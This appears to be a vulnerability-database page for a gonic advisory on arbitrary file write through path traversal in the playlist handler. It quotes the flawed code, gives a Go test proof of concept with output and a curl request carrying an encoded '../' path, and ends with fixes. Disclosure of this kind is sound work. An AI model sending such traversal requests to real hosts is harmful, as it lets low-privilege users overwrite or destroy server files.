CVE-2026-49340High· 8.1▾ Twilightgonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 44.6 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 4.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.3%
0.3% → 0.4%
A logic error in ServeCreateOrUpdatePlaylist allows any authenticated Subsonic user (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with 0o777 permissions.
The bug is independent of the playlist ownership IDOR fixed in 6dd71e6: it is an unreachable guard clause combined with no path containment in Store.Write.
server/ctrlsubsonic/handlers_playlist.go:74-90:
func (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {
user := r.Context().Value(CtxUser).(*db.User)
params := r.Context().Value(CtxParams).(params.Params)
playlistID, _ := params.GetFirstID("id", "playlistId")
playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded
var playlist playlistp.Playlist
if playlistPath != "" {
if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// this condition is UNREACHABLE
playlist = *pl
}
}
if playlist.UserID != 0 && playlist.UserID != user.ID {
return spec.NewError(50, "you aren't allowed update that user's playlist")
}
...
playlist.Store.Read (playlist/playlist.go:88-144) returns either (*Playlist, nil) on success or (nil, err) on any failure path. There is no return path of (non-nil, non-nil-err).
So the inner branch err != nil && pl != nil is always false, the playlist = *pl assignment never executes, and playlist stays at its zero value with UserID = 0. The subsequent guard playlist.UserID != 0 && playlist.UserID != user.ID simplifies to false && (anything) and always passes, regardless of who owns the target path.
Store.Writeplaylist/playlist.go:146-160:
func (s *Store) Write(relPath string, playlist *Playlist) error {
defer lock(&s.mu)()
if err := sanityCheck(s.basePath); err != nil {
return err
}
absPath := filepath.Join(s.basePath, relPath)
if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable!
return fmt.Errorf("make m3u base dir: %w", err)
}
file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666) // create-or-open
...
if err := file.Truncate(0); err != nil { // wipe existing
...
}
filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/anything") resolves to /var/lib/gonic/etc/cron.daily/anything — Go's filepath.Join does NOT prevent .. traversal. Combined with the missing guard above, any authenticated user controls the destination path.
Drop this into server/ctrlsubsonic/handlers_playlist_write_traversal_test.go and run go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v:
package ctrlsubsonic
import (
"net/url"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/require"
)
func TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {
f := newFixture(t)
// playlistStore.basePath = <tmp>/playlists/. A relPath of "../injected.m3u"
// resolves under the parent <tmp> dir — escaping the playlists/ subtree.
traversalRel := filepath.Join("..", "injected.m3u")
traversalID := playlistIDEncode(traversalRel).String()
// f.alt is the NON-ADMIN user (ID=2).
resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{
"id": {traversalID},
"name": {"injected-by-low-priv-user"},
})
t.Logf("resp: %+v", string(resp))
tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)
target := filepath.Join(tmpDir, "injected.m3u")
stat, err := os.Stat(target)
require.NoError(t, err, "VULNERABLE if the file exists outside playlists/")
require.False(t, stat.IsDir())
contents, err := os.ReadFile(target)
require.NoError(t, err)
t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents))
}
Test output against current master HEAD 6dd71e6:
=== RUN TestCreatePlaylistArbitraryWrite_RawPath
resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,
"playlist":{"id":"pl-Li4vaW5qZWN0ZWQubTN1","name":"injected-by-low-priv-user",...,
"owner":"alt","songCount":0,...}}}
VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u
#GONIC-NAME:"injected-by-low-priv-user"
#GONIC-COMMENT:""
#GONIC-IS-PUBLIC:"false"
--- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s)
The file was created at <tmp>/injected.m3u while the playlist store's basePath is <tmp>/playlists/ — write succeeded outside the intended directory.
# Target a writable path on the gonic host.
# Encode "../../../var/log/anything.log" (note: gonic must be able to write there)
RAW='../../../var/log/anything.log'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')"
curl -s "http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected" \
| python3 -m json.tool
# Response: {"subsonic-response":{"status":"ok",...}}
# Side effect: file written at /var/log/anything.log with M3U structured content,
# intermediate directories created with 0o777 permissions.
#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC: attributes, plus song paths), but the name value is attacker-controlled and structurally placed (no newline injection; strconv.Quote escapes specials).gonic.db (or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable.MkdirAll(dir, 0o777) creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal.ServeCreateUser, the IsAdmin flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set.#GONIC-NAME:"..." header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High
Two changes, either of which mitigates this:
1. Fix the unreachable guard at handlers_playlist.go:83:
// Currently (BROKEN):
if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
playlist = *pl
}
// Fixed:
if pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil {
playlist = *pl
}
This restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where playlistPath points to a non-existent file (the Read fails, playlist stays zero-valued, ownership check still bypassed). So the second fix is also needed.
2. Add path containment in playlist/playlist.go::Store.Write (same helper proposed in the companion advisory):
absPath := filepath.Join(s.basePath, relPath)
rel, err := filepath.Rel(s.basePath, absPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
return fmt.Errorf("path %q escapes playlist directory", relPath)
}
Apply the same guard in Read() and Delete() to close related primitives. Consider tightening MkdirAll from 0o777 to 0o755.
Reported by Vishal Shukla (@shukla304 / @therawdev).
go.senan.xyz/gonic <= 0.20.1Upgrade to a patched release:
go.senan.xyz/gonic 0.21.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-49339High· 7.1gonic: Path Traversal in playlist `id` bypasses ownership check, enabling any user to read/delete other users' playlists
CVE-2026-49338High· 7.1Subsonic API: any authenticated user can delete or read any other user's playlist (IDOR)
CVE-2023-7260High· 7.5Path Traversal vulnerability discovered in OpenText™ CX-E Voice, affecting all version through 22.4
CVE-2023-7249Critical· 9.8Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in OpenText OpenText Directory Services allows Path Traversal.This issue affects OpenText Directory Services: from 16.4.2 before 24.1.
CVE-2020-3365Medium· 4.3A vulnerability in the directory permissions of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an authenticated, remote attacker to perform a directory traversal attack on a limited set of restricted directories
CVE-2020-3236Medium· 6.7A vulnerability in the CLI of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an authenticated, local attacker to gain root shell access to the underlying operating system and overwrite or read arbitrary files